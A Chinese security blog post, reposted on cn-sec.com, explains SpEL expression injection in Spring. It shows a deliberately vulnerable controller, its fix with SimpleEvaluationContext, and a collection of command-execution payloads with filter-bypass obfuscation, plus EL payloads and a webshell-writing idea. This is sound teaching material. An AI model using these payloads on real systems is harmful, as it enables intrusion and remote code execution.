Java 安全 | SpEL 表达式注入

admin 2024年11月21日13:21:32评论6 views字数 13525阅读45分5秒阅读模式

SpEL 表达式注入漏洞

前言

参考: 原文链接

删掉了一些SpEL语法相关的内容, 把关注点放在漏洞产生原因上, 把 SpEL 注入在 XML, @Value, 代码块中, 以每个不同的案例呈现出来, 速通.

原文章给了一个String类型转换小脚本, 有一行是错的, 放到文末, 这篇文章算是我的读后感吧. 把重要的内容抠出来了.

前置环境准备

pom.xml进行如下引入:

<dependencies>
    <dependency> <!-- 引入 junit, 可以进行测试包 -->
        <groupId>junit</groupId>
        <artifactId>junit</artifactId>
        <version>4.11</version>
        <scope>test</scope>
    </dependency>
    <dependency> <!-- 引入 springMVC -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
    <dependency> <!-- 支持事务相关 -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-jdbc</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
    <dependency> <!-- 支持切面编程 -->
        <groupId>org.springframework</groupId>
        <artifactId>spring-aspects</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
    <dependency> <!-- 引入 mybatis -->
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis</artifactId>
        <version>3.5.7</version>
    </dependency>
    <dependency> <!-- 引入 druid 数据库连接池 -->
        <groupId>com.alibaba</groupId>
        <artifactId>druid</artifactId>
        <version>1.2.6</version>
    </dependency>
    <dependency> <!-- 引入 mysql 接口驱动 -->
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.25</version>
    </dependency>
    <dependency> <!-- 配置 mybatis && spring 整合适配包 -->
        <groupId>org.mybatis</groupId>
        <artifactId>mybatis-spring</artifactId>
        <version>2.0.6</version>
    </dependency>
    <dependency> <!-- 配置 MyBatis 逆向工程包 -->
        <groupId>org.mybatis.generator</groupId>
        <artifactId>mybatis-generator-core</artifactId>
        <version>1.4.0</version>
    </dependency>
    <dependency> <!-- 配置 JackSon, 用于返回 JSON 数据 -->
        <groupId>com.fasterxml.jackson.core</groupId>
        <artifactId>jackson-databind</artifactId>
        <version>2.12.4</version>
    </dependency>
    <dependency> <!-- 加入分页插件 -->
        <groupId>com.github.pagehelper</groupId>
        <artifactId>pagehelper</artifactId>
        <version>5.2.1</version>
    </dependency>
    <dependency> <!-- 引入后端校验框架 -->
        <groupId>org.hibernate</groupId>
        <artifactId>hibernate-validator</artifactId>
        <version>5.0.0.CR2</version>
    </dependency>
    <!-- 添加Tomcat依赖, 对应到自己的版本号 -->
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.0</version>
    </dependency>
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-servlet-api</artifactId>
        <version>8.5.0</version>
    </dependency>
    <!-- 如果你需要使用Jasper for JSP support -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-jasper</artifactId>
        <version>8.5.0</version>
    </dependency>
</dependencies>

定义/WEB-INF/web.xml文件内容如下:

<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:applicationContext.xml</param-value>
</context-param>

<listener> <!-- 配置该 Listener, 开启 WebApplicationContextUtils, 否则 WebApplicationContextUtils 未被初始化 -->
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<filter>
    <filter-name>characterEncoding</filter-name>
    <filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
    <init-param>
        <param-name>encoding</param-name>
        <param-value>utf-8</param-value>
    </init-param>
</filter>
<filter-mapping>
    <filter-name>characterEncoding</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:applicationContext.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

<servlet-mapping>
    <servlet-name>dispatcherServlet</servlet-name>
    <url-pattern>/</url-pattern>
</servlet-mapping>

特别注意这里定义的org.springframework.web.context.ContextLoaderListener, 后续在使用WebApplicationContextUtils时, 试图从Tomcat中进行得到Spring-IOC时, 必须对其进行配置.

随后定义/resources/applicationContext.xml文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd">

    <context:component-scan base-package="com.heihu577"/>

    <bean id="internalResourceViewResolver" class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/WEB-INF/jsp/"/>
        <property name="suffix" value=".jsp"/>
    </bean>
</beans>

对其进行一个基本的配置即可, 后续会随着功能模块的增加, 依次在此基础之上增加代码.

SpEL 表达式

SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于 它能够在运行时动态分配值,因此可以为我们节省大量Java代码。

SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

其中表达式可以在三种位置执行: XML, @Value注解, 以及代码块中使用 Expression.

两种定界符 $ 与

XML 表达式 + $

${属性key}: 用于读取文件中的属性. 具体操作如下:

定义一个Bean进行测试:

public class ConfigPropertiesBean {
    private String username;
 // getter && setter && 有参构造 && 无参构造
}

/resources/applicationContext.xml文件中进行引入文件, 并定义 bean:

<context:property-placeholder location="classpath:config.properties"/>
<bean id="configPropertiesBean" class="com.heihu577.bean.ConfigPropertiesBean">
    <property name="username" value="${myuser.username}"/> <!-- 使用 ${} 进行引入 config.properties 中的 myuser.username -->
</bean>

随后在其中引入config.properties配置内容:

myuser.username=zhangsan

而在我们的webapp/index.jsp中, 进行获取该 bean:

<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="org.springframework.web.context.WebApplicationContext" %>
<%@ page import="com.heihu577.bean.ConfigPropertiesBean" %>
<%
    // 因为配置了 org.springframework.web.context.ContextLoaderListener, 所以这里可以使用 WebApplicationContextUtils 获取 IOC 容器
    WebApplicationContext ioc = WebApplicationContextUtils.getWebApplicationContext(request.getServletContext());
    ConfigPropertiesBean configPropertiesBean = ioc.getBean("configPropertiesBean", ConfigPropertiesBean.class);
    out.println(configPropertiesBean); // ConfigPropertiesBean{username='zhangsan'}
%>

可以看到, ${} 成功读取到了config.properties的配置, 并且成功注入到BEAN容器中.

在这里使用了 WebApplicationContextUtils 进行获取 IOC 容器, 使用该手法可以通过反射来获取 JDBC 数据库连接信息等操作, 但会依赖于 ContextLoaderListener 监听器.

@Value 注解 + #

#{属性key}: 用于指明内容未 SpEL 表达式并执行, 这里的语法将会多样化.

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches
引用类 #{T(java.lang.Runtime)} => Runtime.class, T(java.lang.Runtime).getRuntime() => Runtime 对象
调用某个类的静态方法使用.
字面值 #{123} => 123, #{'ABC'} => ABC
#{{'a'}} => 数组类型 Collection
#{'ABC'.getClass()} => String.class
引用 BEAN #{BEAN名称} 可以直接得到 BEAN
类实例化 #{new java.lang.String} = #{new String}

在安全的角度来讲, T(类名)字面值是比较重要的, 所以这里将只会拿这两种进行举例, 其他操作自行测试.

字面量

依然在ConfigPropertiesBean类中进行操作, 只不过本次使用@Value注解进行注入值即可.

@Value("#{'P@ss'.concat('w0rd')}"// 通过调用 String 类型的 concat 将其字符连接到一起
private String password;
// 并对 toString 方法进行更新

最终运行index.jsp结果如下:

ConfigPropertiesBean{username='zhangsan', password='P@ssw0rd'} 
类名引用

定义一个Cat类如下:

@Component
public class Cat {
    @Value("#{T(java.lang.Runtime).getRuntime()}"// 引用 Runtime
    public Object master;
}

随后定义如下控制器:

@RestController
public class HelloController {
    @RequestMapping("/spel01")
    public String spel01(@Value("#{cat}") Cat cat) throws IOException // 使用 #{bean名称} 进行引入 bean
        // 不使用 @Resource, @Autowired, @Qualifier 进行依赖注入, 使用 @Value 配合表达式进行依赖注入.
        ((Runtime) cat.master).exec("calc");
        return "Hello";
    }
}

运行即可弹出计算器.

Expression 代码块执行 SpEL

这是最后一种执行SpEL表达式的位置, 看一下是如何实现的. 在HelloController中定义如下内容:

@RequestMapping("/spel02")
public String spel02() {
    ExpressionParser parser = new SpelExpressionParser(); // 准备 SpEL 解析器
    Expression expression = parser.parseExpression("('Hello' + ' Heihu577').concat(#end)"); // 解析表达式, 无需加 #{}
    EvaluationContext context = new StandardEvaluationContext(); // 准备上下文
    context.setVariable("end""!"); // 定义 end 值为 !
    return expression.getValue(context).toString(); // Hello Heihu577!
}

当然也可以不指明StandardEvaluationContext, 如果不指明的话默认会使用StandardEvaluationContext, 如下代码实例:

@RequestMapping("/spel03")
public String spel03(String data) {
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression("'" + data + "'");
    return expression.getValue().toString(); // 存在 SpEL 表达式注入漏洞!
}

发送 payload: ?data=123'.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')+'即可弹出计算器.

漏洞修复

SimpleEvaluationContext 和 StandardEvaluationContext是 SpEL 提供的两个 EvaluationContext:

  • SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。

所以如果想要漏洞修复的话, 配置为 SimpleEvaluationContext 即可, 如下:

@RequestMapping("/spel03")
public String spel03(String data) {
    ExpressionParser parser = new SpelExpressionParser();
    SimpleEvaluationContext context = SimpleEvaluationContext.forReadWriteDataBinding().build();
    Expression expression = parser.parseExpression("'" + data + "'");
    return expression.getValue(context).toString();
}

POC && ByPass 整理

// PoC原型

// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")

// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()

// Bypass技巧

// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")

// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()

// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")

T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)

// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)

// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()

给出的小脚本CreateAscii.py修复后的如下:

message = input('Enter message to encode:')
 
print('Decoded string (in ASCII):n')
 
print('T(java.lang.Character).toString(%s)' % ord(message[0]), end="")
for ch in message[1:]:
   print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), 
print('n')
 
print('new java.lang.String(new byte[]{', end=""),
print(ord(message[0]), end="")
for ch in message[1:]:
   print(',%s' % ord(ch), end=""), 
print('})')

其他的一些payload:

// 转自:https://www.jianshu.com/p/ce4ac733a4b9

${pageContext} 对应于JSP页面中的pageContext对象(注意:取的是pageContext对象。)

${pageContext.getSession().getServletContext().getClassLoader().getResource("")} 获取web路径

${header} 文件头参数

${applicationScope} 获取webRoot

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("命令").getInputStream())} 执行命令


// 渗透思路:获取webroot路径,exec执行命令echo写入一句话。

<p th:text="${#this.getClass().forName('java.lang.System').getProperty('user.dir')}"></p> //获取web路径

原文始发于微信公众号(Heihu Share):Java 安全 | SpEL 表达式注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月21日13:21:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java 安全 | SpEL 表达式注入https://cn-sec.com/archives/3400573.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息